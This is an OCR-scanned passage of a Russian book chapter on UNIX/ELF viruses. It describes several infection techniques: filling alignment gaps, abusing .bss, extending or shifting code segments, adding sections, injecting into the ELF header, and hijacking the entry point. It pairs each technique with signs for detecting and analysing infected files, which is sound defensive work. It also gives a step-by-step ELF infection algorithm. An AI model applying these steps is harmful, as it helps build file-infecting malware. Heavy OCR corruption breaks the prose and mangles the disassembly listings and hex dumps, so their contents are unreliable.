секций, что при- ходится делать вирусу для внедрения в середину файла. К тому же при таком способе заражения длина файла остается неизменной, что частично скрывает факт наличия вируса. Рассмотрим, как происходит внедрение вируса в кодовый сегмент. В простей- шем случае вирус сканирует файл на предмет поиска более или менее длинной последовательности команд NOP, использующихся для выравнивания про- граммного кода по кратным адресам, записывает в них кусочек своего тела и до- бавляет команду перехода на следующий фрагмент. Так продолжается до тех пор, пока вирус полностью не окажется в файле. На завершающем этане зара- жения вирус записывает адреса «захваченных» им фрагментов, после чего пе- редает управление файлу-носителю (если этого не сделать, вирус не сможет скопировать свое тело в следующий заражаемый файл, правда, пара особо изощ- ренных вирусов содержит встроенный трассировщик, автоматически собира- ющий тело вируса на лету, но это чисто лабораторные вирусы и на свободе иМ не гулять). Различные программы содержат различное количество свободного места, рас- ходующегося на выравнивание. В частности, программы, входящие в базовый комплект поставки Free BSD 4.5, преимущественно откомпилированы с вырав- ниванием на величину 4-х байт. Учитывая, что команда безусловного перехода в х86-системах занимает по меньшей мере два байта, втиснуться в этот скром- ный объем вирусу просто нереально. С операционной системой Red Hat 5.0 дела
67 Вирусыв«Е^ <гг иначе. Кратность выравнивания, установленная на величину от 08h до обе ТОЯ1 - j()h байт, с легкостью вмещает в себя вирус средних размеров. в качестве примера приведен фрагмент дизассемблерного листинга ути- иты P1NG. зараженной вирусом UNIX.NuxBe.quilt (модификация известного вируса NuxBee, опубликованного в электронном журнале, выпускаемом груп- пой #29А) (листинг 2.7). Даже начинающий исследователь легко обнаружит присутствие вируса в теле программы. Характерная цепочка jmp’oB, протянувшаяся через весьсегмептдан- ных, не может не броситься в глаза. В «честных» программах такого практически никогда не бывает (хитрые конвертные защиты и упаковщики исполняемых фай- 1ов, построенные па полиморфных движках, мы оставим в стороне). Листинг 2.7. Фрагмент файла, зараженного вирусом UNIX.NuxBe.quilt, «размазывающим» себя по кодовой секции text:C80C0BD9 text:C80CCBDB text:C8000BDD xor xor jmp eax. eax eox. ebx short loc_8000C01 text:08000C01 loc_8000C01: ; CODE XREF: .text:0800BDDTj text:C8000C01 mov ebx. esp text:08000C03 mov eax. 90h text:08000C08 int 80h ; LINUX - sysjnsync text:08000C0A aad esp. 18h text:08C00C0D jmp loc_8000C18 text:08000318 loc_8000D18: ; CODE XREF: ,text:08000C03Tj text:08000318 dec eax text 108000319 jns short loc_80C0D53 text:C8C00DlB jmp short loc_8000D2B text:08000D53 loc_8000D53: : CODE XREF: .text:08000D19Tj text:08000D53 inc eax text1C8000D54 mov Lebp+800C466hj. eax text:08000D5A mov edx. eax text:08000D5C jmp short loc_8CC0D6C Отметим, что фрагменты вируса не обязательно должны следовать линейно. Напротив, вирус (если только его создатель не даун) предпримет все усилия, чтобы замаскировать факт своего существования. Вы должны быть готовы к то- му, что jmp’bi будут блохой! скакать по всему файлу, используя «левые» эпило- Ги и прологи для слияния с окружающими функциями. Но этот обман легко разоблачить по перекрестным ссылкам, автоматически генерируемым дизас- семблером IDA Pro. На подложные прологи/эпилоги перекрестные ссылки от- сутствуют! Кстати говоря, рассмотренный нами алгоритм не совсем корректен. Цепочка GP ов может встретиться в любом месте программы (например, внутри функ- ции), и тогда зараженный файл перестанет работать. Чтобы этого не произошло.
70 Глава 2. Вирусы в UNIX, или Гибель Титану Увы! Какой бы могучей IDA ни была — она все-таки не всесильна, и над ким полученным листингом вам еще предстоит поработать. Впрочем, цри котором опыте дизассемблирования многие машинные команды распознают^ в hex-дампе с первого взгляда. Пользуясь случаем, отсылаю вас к «Тсхнцк и философии хакерских атак/дизассемблировапие в уме», ставшей уже библц0 графической редкостью, так как ее дальнейших переизданий не планируется а появившаяся в продаже «Техника и философия хакерских атак II — записки мыщъх’а» представляет собой совсем другую книгу. Однако требуемого количества междустрочных байт удается наскрести далеко не во всех исполняемых файлах, и тогда вирус может прибегнуть к поиску бо- лее или менее регулярной области с последующим ее сжатием. В простейшем случае ищется цепочка, состоящая из одинаковых байт, сжимаемая по алгорит- му RLE. При этом вирус должен следить за тем, чтобы не нарваться на мину перемещаемых элементов (впрочем, ни один из известных автору вирусов это- го не делал). Получив управление и совершив все, что он хотел совершить, ви- рус забрасывает на стек распаковщик сжатого кода, отвечающий за приведение файла в исходное состояние. Легко видеть, что таким способом заражаются лишь секции, доступные как для записи, так и для чтения (то есть наиболее соблаз- нительные секции . rodata и .text уже не подходят, ну разве что вирус отважит- ся изменить их атрибуты, выдавая факт заражения с головой). Наиболее настырные вирусы могут поражать и секции неинициализированных данных. Нет, это не ошибка, такие вирусы действительно есть. Их появление объясняется тем обстоятельством, что полноценный вирус в «дырах», оставших- ся от выравнивания, разместить все-таки трудно, но вот вирусный загрузчик туда влезает вполне. Секции неинициализированных данных, строго говоря, не толь- ко не обязаны загружаться с диска в память (хотя некоторые UNIX’w их все-таки загружают), но могут вообще отсутствовать в файле, динамически создаваясь системным загрузчиком налету. Однако вирус и не собирается искать их в памя- ти! Вместо этого он вручную считывает их непосредственно с самого зараженно- го файла. Правда, в некоторых случаях доступ к текущему выполняемому файлу предусмотрительно блокируется операционной системой, но этот запрет доста- точно легко обойти, и тот же чувак ZOmbie не раз писал, как. На первый взгляд, помещение вирусом своего тела в секции неинициализиро- ванных данных ничего не меняет (если даже не демаскирует вирус), но при по- пытке поимки такого вируса за хвост он выскользнет из рук. Секция неиници- ализированных данных визуально ничем не отличается от всех остальных секций файла, и содержать она может все что угодно: от длинной серии нуле1,1 до копирайтов разработчика. В частности, создатели дистрибутива FreeBSD 4 именно так и поступают (листинг 2.9). Листинг 2.9. Так выглядит секция .bss большинства файлов из комплекта поставки Free BSD СС00Е530: 00 СО СО 00 FF FF FF FF | 00 00 00 00 FF FF FF FF СС00Е540: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 0000F550: 00 00 00 00 00 00 00 00 ] 00 00 00 00 00 00 00 00 О0С0Е560: 00 47 43 43 ЗА 20 28 47 | 4Е 55 29 20 63 20 32 2Е GCC: (GNU) С 2.
71 00006570: 39 ООООЕ580: 65 35 6С 2Е 33 65 61 20 32 73 65 30 29 30 | 31 30 33 31 35 20 28 72 20 | 5В 46 72 65 65 42 53 44 95.3 20010315 (г elease) [FreeBSD ДЕ 55 29 20 63 20 32 2Е | 39 35 2Е 33 20 32 30 30 ND) С 2.95.3 200 0000F2B0: *•- 35 , &5 & 6f. 2g 2Q 1Q315 (release) °0° п(Г 5В 46 72 65 65 42 53 44 | 5D 00 08 00 00 00 00 00 [FreeBSD] • 00°?го^ 00 00 01 00 00 00 30 31 | 2Е 30 31 00 00 00 08 00 © 01.01 . QO00F2tJ. uu изассемблеров (и IDA Pro в том числе) по вполне логичным соображенн- ое загружает содержимое секций неинициализированных данных, явно от- мечая это обстоятельство двойным знаком вопроса (листинг 2.10). Приходится исследовать файл непосредственно в HIEW’e или любом другом Ьех-редакто- е разбирая a.out/elf-формат «вручную», так как популярные hex-редакторы его не поддерживают. Скажите честно: готовы ли вы этим реально заниматься? Так что, как ни крути, а вирусы этого типа имеют все шансы на выживание, пусть массовых эпидемий им никогда не видать. Листинг 2.10. Так выглядит секция .bss в дизассемблере IDA Pro и большинстве других дизассемблеров bss 08057560 77 77 77 77 7? ?7 ?? ??-?? 77 ?? ?? ?? ?? ?? ?? "????????????????" bss 08057570 77 77 77 77 77 77 77 79-?? ?? ?? ?? ?? ?? 7? ?? ",7??????????????’’ bss 08057580 ?? 77 ?7 7? ?7 ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ''????????????????'’ bss'08057590 ?7 77 77 77 77 77 77 ?7-7? 77 77 ?? ?? ?? 77 ?7 ''9?99"??9???????" .bss:080575А0 ?? ?? ?7 ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "????????????????" .bss:080575ВЭ ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? "?7??????????????" .bss:080575СС ?? ?? 77 ?7 77 77 77 ?? 77 ?? ?? ?? " ?9 .bss:080575DC ?? ?? 77 7? 77 77 97 "-9? ?? ?? 9? ?? ?? " " ""•г999?9???999??" OSS:080575FO ?? ?? ?? 77 ?7 77 9? ?9-?? ?? 9? ?? ?? ?? 79 79 "г?"9"?99'?? ЗАРАЖЕНИЕ ПОСРЕДСТВОМ РАСШИРЕНИЯ КОДОВОЙ СЕКЦИИ ФАЙЛА Наибольшую скрытность вирусу обеспечивает внедрение в кодовую секцию заражаемого файла, находящуюся глубоко в середине последнего. Тело вируса, сливаясь с исходным машинным кодом, виртуально становится совершенно неотличимым от «нормальной» программы, и обнаружить такую заразу можно лишь анализом ее алгоритма (см. далее раздел «Основные признаки вирусов»). Безболезненное расширение кодовой секции возможно лишь в elf- и coff-фай- Лад (Под «безболезненностью» здесь понимается отсутствие необходимости в пе- рекомпиляции файла-жертвы), и достигается оно за счет того замечательного ны °ЯТельства" что стартовые виртуальные адреса сегментов/секций отделе- °т их физических смещений, отсчитываемых от начала файла. фай°РИ™ заРажения elf-файла в общем виде выглядит так (внедрение в coff- 1 лы осуществляется аналогичным образом): Бирус открывает файл и, считав его заголовок, убеждается, что это действи- э цельно elf-файл.
72 Глава 2. Вирусы в UNIX, или Гибель Титаника ] ПРИМЕЧАНИЕ----------------------------------------------------------—_ Заголовок таблицы секций, равно как и сами секции, имеет значение только для компо. новочных файлов, загрузчик исполняемых файлов их игнорирует, независимо от тог0 присутствуют они в файле или нет. 3. Просматривая Program Header Table, вирус находит сегмент, наиболее пред, почтительный для заражения (то есть тот сегмент, в который указывает точка входа). 4. Длина найденного сегмента увеличивается на величину, равную размеру тела вируса. Это осуществляется путем синхронной коррекции полей p filezp pjnemz. 5. Все остальные сегменты смещаются вниз, при этом поле p_of fset каждого из них увеличивается на длину тела вируса. 6. Анализируя заголовок таблицы секций (если только он присутствует в фай- ле), вирус находит секцию, наиболее предпочтительную для заражения (как правило, заражается секция, находящаяся в сегменте последней: это избав- ляет вирус от необходимости перемещения всех остальных секций вниз). 7. Размер заражаемой секции (поле sh size) увеличивается на величину, рав- ную размеру тела вируса. 8. Все хвостовые секции сегмента смещаются вниз, при этом поле sh offset каждой из них увеличивается на длину тела вируса (если вирус внедряется в последнюю секцию сегмента, этого делать не нужно). 9. Вирус дописывает себя к концу заражаемого сегмента, физически сметая содержимое всей остальной части файла вниз. 10. Для перехвата управления вирус корректирует точку входа в файл (e entry) либо же внедряет в истинную точку входа jmp на свое тело (впрочем, мето- дика перехвата управления — тема отдельного большого разговора). Прежде чем приступить к обсуждению характерных «следов» вирусного вне- дрения, давайте посмотрим, какие секции в каких сегментах обычно бывают расположены. Оказывается, схема их распределения далеко не однозначна и воз- можны самые разнообразные вариации. В одних случаях секции кода и данных помещаются в отдельные сегменты, в других — секции данных, доступные толь ко для чтения, объединяются с секциями кода в единый сегмент. Соответствен но, и последняя секция кодового сегмента каждый раз будет иной. Большинство файлов включает в себя более одной кодовой секции, и распоЛ8 гаются эти секции приблизительно так, как показано в листинге 2.11. Листинг 2.11. Схема расположения кодовых секций типичного файла .init содержит иниииализационный код .pit содержит таблицу связки подпро:рамм .text солсртит основной кол программы .fini содержит тсрмируюций код программы Присутствие секции . finit делает секцию . text не последней секцией коДОр0 сегмента файла, как чаще всего и происходит. Таким образом, в зависимое!11
Вирусы^скрипта^-----—___________________________________________________if. стратегии распределения секций по сегментам, последней секцией файла обычно является либо секция . finit, либо . rodata. Секция .finit в большинстве своем — это такая крохотная секция, заражение которой трудно оставить незамеченным. Код, расположенный в секции .finit п непосредственно перехватывающий на себя пить выполнения программой, выглядит несколько странно, если не сказать подозрительно (обычно управле- ние на .finit передается косвенным образом как аргумент функции atexit). Вторжение будет еще заметнее, если последней секцией в заражаемом сегмен- те окажется секция .rodata (машинный код при нормальном развитии событий в данные никогда не попадает). Не остается незамеченным и вторжение в ко- нец первой секции кодового сегмента (в последнюю секцию сегмента, предше- ствующему кодовому сегменту), поскольку кодовый сегмент практически все- гда начинается с секции .init, вызываемой из глубины стартового кода н по обыкновению содержащей пару-тропку машинных команд. Вирусу здесь будет просто негде затеряться, и его присутствие сразу же станет заметным! Более совершенные вирусы внедряются в конец секции .text,сдвигая все осталь- ное содержимое файла вниз. Распознать такую заразу значительно сложнее, поскольку визуально структура файла выглядит неискаженной. Однако неко- торые зацепки все-таки есть. Во-первых, оригинальная точка входа подавляю- щего большинства файлов расположена в начале кодовой секции, а не в ее кон- це. Во-вторых, зараженный файл имеет нетипичный стартовый код (подробнее об этом рассказывалось в предыдущей главе). И в-третьих, далеко не все виру- сы заботятся о выравнивании сегментов (секции). Последний случай стоит рассмотреть особо. Системному загрузчику, ничего не знающему о существовании секций, степень их выравнивания по барабану (про- стите, я хотел сказать «...опа для него некритична»). Тем не менее во всех нор- мальных исполняемых файлах секции тщательно выравнены на величину, ука- занную в поле sh addralign. При заражении файла вирусом последний далеко не всегда оказывается так аккуратен, и некоторые секции могут неожиданно Для себя очутиться по некратным адресам. Работоспособности программы это не нарушит, но вот факт вторжения вируса сразу же демаскирует. Сегменты выравнивать тоже не обязательно (при необходимости системный 3агРузчик сделает это самостоятельно), однако программистский этикет пред- писывает выравнивать секции, даже если поле palign равно нулю (то есть вы- равнивания не требуется). Все нормальные линкеры выравнивают сегменты по крайней мере на величину, кратную 32 байтам, хотя это происходит и не все- Ста. Тем не менее, если сегменты, следующие за сегментом кода, выровнены на еныпую величину — к такому файлу следует присмотреться повнимательнее, м. 1О^ немаловажный момент: при внедрении вируса в начало кодового сег- И ПТа°н м°жет создать свой собственный сегмент, предшествующий данному. н,у*'Г ВиРУс неожиданно сталкивается с довольно интересной проблемой. Сдви- ь кодовый сегмент вниз он не может, так как тот обычно начинается с нуле- Раж С'Ме,цения в файле, перекрывая собой предшествующие ему сегменты. За- c.. е11Ная программа, в принципе, может и работать, но раскладка сегментов Но»ится слишком уж необычной, чтобы ее гге заметить.
74 Глава 2. Вирусы в UNIX, или Гибель Титану Выравнивание функций внутри секций — это вообще вещь (в смысле: вещд0 вещественное доказательство). Кратность выравнивания функций нигде и как не декларируется, и всякий программист склонен выравнивать фуц|<1(| по своему. Одни используют выравнивание на адреса, кратные 04h, другие*'1 08h, 1 Oh или даже 2011! Определить степень выравнивания без качествецц0Г[) дизассемблера практически невозможно. Требуется выписать стартовые адре са всех функций и найти наибольший делитель, на который все они делятся без остатка. Дописывая себя в конец кодового сегмента, вирус наверняка ошибется с выравниванием адреса пролога функции (если он вообще позаботится о со- здании функции в этом месте!), и он окажется отличным от степени выравни- вания, принятой всеми остальными функциями. Попутно заметим, что опреде- лять степень выравнивания при помощи дизассемблера IDA PRO — плохая идея, так как она определяет ее неправильно, .заклалываясь на наименьшее воз- можное значение, в результате чего вычисленная степень выравнивания от функции к функции будет варьироваться. Классическим примером вируса, внедряющегося в файл путем расширения ко- дового сегмента, является вирус Linux.Vit.4096. Любопытно, что различные авто- ры по-разному описывают стратегии, используемые вирусом для .заражения. Так, Евгений Касперский почему-то считает, что вирус Vit записывается в начало ко- довой секции заражаемого файла (http://www.viruslist.com/viruslist.html?id=3276), в то время как он размещает свое тело в конце кодового сегмента файла (http:// www.nai.com/common/media/vil/pdf/mvanvoers_VB_conf 202000.pdf). Далее приведем фрагмент ELF-файла, зараженного вирусом Vit (рис. 2.6). 00000000 00000010 7F 45 02 00 40 46-01 01 01 00-00 00 00 00-00 00 00 00 OELF000 В V 0 04 . 03 00-01 00 00 00-F0 0С 00 08-34 00 00 00 00000020 :28 55 00 00-00 00 00 00-34 00 20 00-05 00 28 00 (U 4 т В 00000030 14 00 13 00-06 00 00 00-34 00 00 00-34 00 00 08 fl ! ♦ 4 4 00000040 34 00 00 08-А0 00 00 00-А0 00 00 00-05 00 00 00 4 0а а i в 00000050 04 00 00 00-03 00 00 00-D4 00 00 00-D4 00 00 08 ♦ V ▼ Г 00000060 D4 00 00 08-13 00 00 00-13 00 00 00-04 00 00 00 ▼ О» н ♦ я 00000070 01 00 00 00-01 00 00 00-00 00 00 00-00 00 00 08 0 и fl’R R в 00000080 00 00 00 08-60 52 00 00-60 52 00 00-07 00 00 00 я 00000090 00 10 00 00-01 00 00 00-50 52 00 00-50 62 00 08 ► 0 PR Pb в 00000000 50 62 00 08-78 01 00 00 00г24 03 00 00-06 00 00 00 Pb 0x0 0C В 00000080 00 10 00 00-02 00 00-30 53 00 00-30 63 00 08 ► 6 0S 0000О0С0 30 63 00 08-98 00 00 00-88 00 00 00-06 00 00 00 0С 0т ▼ 000000D0 04 00 00 00-2F 6С 69 62-2F 60 64 2D-6C 69 6Е 75 ♦ /lib/ld- 000000Е0 78 2Е 73 6F-2E 31 00 00-25 00 00 00-ЗЕ 00 00 00 X. SO.1 % 2 000000F0 25 00 00 00-2В 00 00 00-10 00 00 00-00 00 00 00 У. * ► Рис. 2.6. Фрагмент файла, зараженного вирусом Lin/Vit. Поля, модифицированные вирусом, выделены траурной рамкой Многие вирусы (и, в частности, вирус Lin/Obsidan) выдают себя тем, что при Bltt дрении в середину файла «забывают» модифицировать заголовок таблицы сеЬ ций (либо же модифицируют его некорректно). Как уже отмечалось выше, в пр1’ цессе загрузки исполняемых файлов в память системный загрузчик считыы информацию о сегментах и проецирует их содержимое целиком. ВпутреШ1*' структура сегментов его совершенно не интересует. Даже если заголовок г‘в лицы секций отсутствует или заполнен некорректно, запущенная па вьиЮ!1111
75 ВирусывоФ!^ програММа будет исправно работать. Однако несмотря на это, в подавля- большинстве исполняемых файлов заголовок таблицы секций все-таки К исутствует, и попытка его удаления оканчивается весьма плачевно — попу- лярный отладчик gdb и ряд других утилит для работы с elf-файлами отказыва- ются признать «кастрированный» файл своим. При заражении исполняемого Лайла вирусом, некорректно обращающимся с заголовком таблицы секций, поведение отладчика становится непредсказуемым, демаскируя тем самым факт вирусного вторжения. Перечислим некоторые наиболее характерные, признаки заражения исполняе- мых файлов (вирусы, внедряющиеся в компоновочные файлы, обрабатывают заголовок таблицы секций вполне корректно, в противном случае зараженные файлы тут же откажут в работе и распространение вируса немедленно прекра- тится): 1. Поле eshoff указывает «мимо» истинного заголовка таблицы секций (так себя ведет вирус Lin/Obsidan) либо имеет нулевое значение при непустом за- головке таблицы секций (так себя ведет вирус Linux.Garnelis). 2. Поле e shoff имеет ненулевое значение, но ни одного заголовка таблицы сек- ций в файле нет. 3. Заголовок таблицы секций содержится не в конце файла, этих заголовков несколько или заголовок таблицы секций попадает в границы владения од- ного из сегментов. 4. Сумма длин всех секций одного сегмента не соответствует его полной длине. 5. Программный код расположен в области, не принадлежащей никакой секции. Следует сказать, что исследование файлов с искаженным заголовком таблицы секций представляет собой большую проблему. Дизассемблеры и отладчики либо виснут, либо отображают такой файл неправильно, либо же не загружают его вообще. Поэтому, если вы планируете заниматься исследованием заражен- ных файлов не день и не два, лучше всего будет написать свою собственную утилиту для их анализа. СДВИГ КОДОВОЙ СЕКЦИИ вниз Трудно объяснить причины, по которым вирусы внедряются в начало кодовой Секциц (сегмента) заражаемого файла или создают свою собственную секцию (сегмент), располагающуюся впереди (рис. 2.7). Этот прием не обеспечивает никаких преимуществ перед записью своего тела в конец кодовой секции (сег- мента), и к тому же намного сложнее реализуется. Тем не менее такие вирусы существуют и будут подробно здесь рассмотрены. Наивысший уровень скрытности достигается при внедрении в начало секции •text и осуществляется практически тем же самым способом, что и внедрение 8 Конец, с той лишь разницей, что для сохранения работоспособности заражен- ного файла вирус корректирует поля sh addr и pvaddr, уменьшая их на величи- ну своего тела и не забывая о необходимости выравнивания (если выравпива- нНе Действительно необходимо). Первое поле задает виртуальный стартовый
76 Глава 2. Вирусы в UNIX, или Гибель Т,^ —--^икац адрес для проекции секции .text, второе — виртуальный стартовый а (ре. проекции кодового сегмента. 1 Рис. 2.7. Типовая схема заражения исполняемого файла путем расширения его кодовой секции В результате этой махинации вирус оказывается в самом начале кодовой сек- ции и чувствует себя довольно уверенно, поскольку при наличии на своем бор- ту стартового кода выглядит неотличимо от «нормальной» программы. Однако работоспособность зараженного файла уже не гарантируется, и его поведение рискует стать совершенно непредсказуемым, поскольку виртуальные адреса всех предыдущих секций окажутся полностью искажены. Если при компиля- ции программы компоновщик позаботился о создании секции перемещаемых элементов, то вирус (теоретически) может воспользоваться этой информаци- ей для приведения впереди идущих секций в нормальное состояние, однако исполняемые файлы в своем подавляющем большинстве спроектированы для работы по строго определенным физическим адресам и потому непере.мешае- мы. Но даже при наличии перемещаемых элементов вирус не сможет отсле- дить все случаи относительной адресации. Между секцией кода и секцией данных относительные ссылки практически всегда отсутствуют, п потому при вторжении вируса в конец кодовой секции работоспособность файла в боль- шинстве случаев не нарушается. Однако внутри кодового сегмента случай относительной адресации между секциями — скорее правило, чем исключе пне. Взгляните на фрагмент дизассемблериого листинга утилиты ping (лиС тинг 2.12), позаимствованный из UNIX Red Hat 5.0. Команду call, распоДО женную в секции .init, и вызываемую ею подпрограмму, находяшу в секции .text, разделяют ровно 8002180h-8000915h == 186Bh байт, и но это число фигурирует в машинном коде (если же вы все еще продо- сомневаться, загляните в Intel Instruction Reference Set: команда E8h — эТ манда относительного вызова). Листинг 2.12. Фрагмент утилиты ping, использующей, как и многие другие программа относительные ссылки между секциями кодового сегмента j- " Jzp .init:0800091С Jnit proc near : CODE XREF: start+ - . init:08000910 E8 6B 18 00 00 call sub_8002180 .init:08000915 C2 00 00 -etn 0 .init: 08000915 Jnit endp .text:08002180 suo 8002180 proc near : CODF XREF: _initTp
77 Вирусы в скриптах Неудивительно, что после заражения файл перестает работать (или станет ра- ботать некорректно)! Но если это все-таки произошло, загрузите файл в отлад- чпк/лизассемблер и посмотрите — соответствуют ли относительные вызовы первых кодовых секций пункту своего назначения. Вы легко распознаете факт заражения, даже не будучи специалистом в области реинжиниринга. В этом мире ничего нс дается даром! За скрытность вирусного вторжения по- следнему приходится расплачиваться разрушением большинства заражаемых файлов. Более корректные вирусы располагают свое тело в начале кодового сегмента — в секции .init. Работоспособность заражаемых файлов при этом не нарушается, но присутствие вируса становится легко обнаружить, так как сек- ция .init редко бывает большой и даже небольшая примесь постороннего кода сразу же вызывает подозрение. Некоторые вирусы (например, вирус Linux.NuxBee) записывают себя поверх ко- дового сегмента заражаемого файла, перемещая затертую часть в конец кодо- вой секции (или, что более просто, в конец последнего сегмента файла). Полу- чив управление и выполнив всю работу «по хозяйству», вирус забрасывает кусочек своего тела в стек и восстанавливает оригинальное содержимое кодо- вого сегмента. Учитывая, что модификация кодового сегмента по умолчанию запрещена и разрешать ее вирусу не резон (в этом случае факт заражения очень легко обнаружить), вирусу приходится прибегать к низкоуровневым манипу- ляциям с атрибутами страниц памяти, вызывая функцию mprotect, практиче- ски не встречающуюся в «честных» приложениях. Другой характерный признак: в том месте, где кончается вирус и начинается пезатертая область оригинального тела программы, образуется своеобразный дефект. Скорее всего, даже наверняка, граница раздела двух сред пройдет по- середине функции оригинальной программы, если еще не рассечет машинную команду. Дизассемблер покажет некоторое количество мусора и хвост функ- ции с отсутствующим прологом. СОЗДАНИЕ СВОЕЙ СОБСТВЕННОЙ СЕКЦИИ Наиболее честный (читай — «корректный») и наименее скрытный способ вне- дрения в файл состоит в создании своей собственной секции (сегмента), а то и двух секций — для кода и для данных соответственно. Разместить такую сек- цию можно где угодно. Хоть в начале файла, хоть в конце (вариант внедрения в сегмент с раздвижкой соседних секций мы уже рассматривали выше) (лис- тинг 2.13). Листинг 2.13. Карта файла, зараженного вирусом, внедряющимся в собственноручно созданную секцию и этим себя демаскирующим чяе Start End Align Base Type Class 32 es ss ds fs gs 'mt 08000910 08000918 para 0001 publ CODE v FFFF FFFF 0006 FFFF FFFF Pit 08000918 0800CB58 dword 0002 publ CODE Y FFFF FFFF 0006 FFFF FFFF text 08000860 080021A4 para 0003 publ CODE Y FFFF FFFF 0006 FFFF FFFF tin 08002180 080021B8 para 0004 publ CODE Y FFFF FFFF 0006 FFFF FFFF Продолжение iP
Глава 2. Вирусы в UNIX, или Гибель Тит ------------------—--------------1; 78 Листинг 2.13 {продолжение) rodata 08С021В8 08С0295В data 0800295С 08002А08 ctors 08002АС8 08002А10 dtors 08002A10 08002A18 got 080C2A18 08002ABC bss 08C02B38 08013CC8 datal 08013CC8 08014CC8 byte 0005 pub’ CONST Y dword 0006 publ DATA Y dword 0007 publ DATA Y dword 0008 publ DATA Y dword 0009 publ DATA Y qwo-d CCOA publ BSS Y qword 000A publ DATA Y FFFF FFFF 0006 FFFF FFFF FFFF FFFF 0006 FFFF FFFF FFFF FFFF 0006 FFFF FFFF FFFF FFFF 0006 FFFF FFFF FFFF FFFF 0006 FFFF FFFF FFFF FFFF 0006 FFFF cF?F FFFF FFFF 0006 FFFF FFFF ВНЕДРЕНИЕ МЕЖДУ ФАЙЛОМ И ЗАГОЛОВКОМ Фиксированный размер заголовка a.out-файлов существенно затруднял аво люцию этого в общем-то неплохого формата и в конечном счете привел к его гибели. В последующих форматах это ограничение было преодолено. Так, в е|[. файлах длина заголовка хранится в двухбайтовом поле eehize, оккупировав- шем 28h и 29h байты, считая от начала файла. Увеличив заголовок заражаемого файла па величину, равную длине своего тела, и сместив оставшуюся часть файла вниз, вирус сможет безболезненно скопи- ровать себя в образовавшееся пространство между концом настоящего заголовка и началом Program Header Table. Ему даже не придется увеличивать длину ко- дового сегмента, поскольку в большинстве случаев тот начинается с самого пер- вого байта файла. Единственное, что будет вынужден сделать вирус -- сдви- нуть поля p offset всех сегментов на соответствующую величину вниз. Сегмент, начинающийся с нулевого смещения, никуда перемещать не надо, иначе вирус не будет спроецирован в память. (Смещения сегментов в файле отсчитывают- ся от начала файла, но не от конца заголовка, что нелогично и идеологически неправильно, зато упрощает программирование.) Поле e phoff, задающее сме- щение Program Head Table, также должно быть скорректировано. Аналогичную операцию следует проделать и со смещениями секций, в против- ном случае отладка/дизассемблирование зараженного файла станут невозмож- ными (хотя файл будет нормально запускаться). Существующие вирусы забы вают скорректировать содержимое полей shoffset, чем и выдают себя, одна1<0 следует быть готовым к тому, что в следующих поколениях вирусов этот недо статок будет устранен. Впрочем, в любом случае такой способ заражения слишком заметен. В норм3-^ ных программах исполняемый код никогда не попадает в elf-заголовок, и наличие там красноречиво свидетельствует о вирусном заражении. 3aip. исследуемый файл в любой hex-редактор (например, 1IIEW) и проанализ! 1, значение поля e ehize. Стандартный заголовок, соответствующий текуШ11^ сиям elf-файла, на платформе Х86 (кстати, недавно переименованной в форму Intel) имеет длину, равную 34 байтам. Другие значения в «чести^\п0В файлах мне видеть пока не доводилось (хотя я и не утверждаю, что таких Ф действительно нет — опыт работы с UNIX у меня небольшой). Только тайтесь загрузить зараженный файл в дизассемблер. Это бесполезно, b°- h ство из них (и IDA PRO в том числе) откажутся дизассемблировать заголовка, и исследователь о факте заражения ничего не узнает!
79 Ниже приведен фрагмент файла, зараженного вирусом UNIX.inheader.6666 2 8). Обратите внимание на поле длины elf-заголовка, обведенное квадра- нком Вирусное тело, начинающиеся с 34h байта, залито серым цветом. Сюда же направлена точка входа (в данном случае она равна 8048034b): 00000000: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 00000070: 00000080: 7F 45 4С 46-01 01 01 09-00 00 00 00-00 00 00 00 02 йй 03 00-01 00 00 00-ЗГ 80.14 08 34 00 00 00 Рис. 2.8. Фрагмент НЕХ-дампа файла, зараженного вирусом UNIX.inheader.6666, внедряющимся в elf-заголовок. Поля elf -заголовка, модифицированные вирусом, взяты в рамку, а само тело вируса залито цветом 0ELF000O 8 » 0 ’MIB4 Как вариант, вирус может вклиниться между концом elf-заголовка и началом Program Header Table. Заражение происходит так же, как и в предыдущем слу- чае, однако длина elf-заголовка остается неизменной. Вирус оказывается в «су- меречной» области памяти, формально принадлежащей одному из сегментов, но де-факто считающейся «ничейной» и потому игнорируемой многими отлад- чиками и дизассемблерами. Если только вирус не переустановит на себя точку входа, дизассемблер даже не сочтет нужным заругаться по этому поводу. По- этому какой бы замечательной IDA PRO ни была, а просматривать исследуе- мые файлы в HIEW’e все-таки необходимо! С учетом того, что об этом догады- ваются далеко не все эксперты по безопасности, данный способ заражения рискует стать весьма перспективным. К борьбе с вирусами, внедряющимися в заголовок elf-файлов, будьте готовы! ПЕРЕХВАТ УПРАВЛЕНИЯ ПУТЕМ КОРРЕКЦИИ ТОЧКИ ВХОДА Успешно внедриться в файл — это только поддела. Для поддержки своей жиз- недеятельности всякий вирус должен тем или иным способом перехватить на себя нить управления. Классический способ, активно использовавшийся еще во времена MS-DOS, сводится к коррекции точки входа — одного из полей elf/ с°11/а.ощ-заголовков файлов. В elf-заголовке эту роль играет поле eentry, в aout-заголовке — aentry. Оба поля содержат виртуальный адрес (не смеще- Ние’отсчитываемое от начала файла) машинной инструкции, на которую долж- Но Ыть поддано управление. ^РИ внедрении в файл вирус запоминает адрес оригинальной точки входа и пе- - станавливает ее на свое тело. Сделав все, что хотел сделать, он возвращает Равление программе-носителю, используя сохраненный адрес. При всей ви- бы °И безУпРечности этой методики она не лишена изъянов, обеспечивающих g стР°е Разоблачение вируса. ^Рвых,Точка входа большинства честных файлов указывает па начало ко- °й секции файла. Внедриться сюда трудно, и все существующие способы
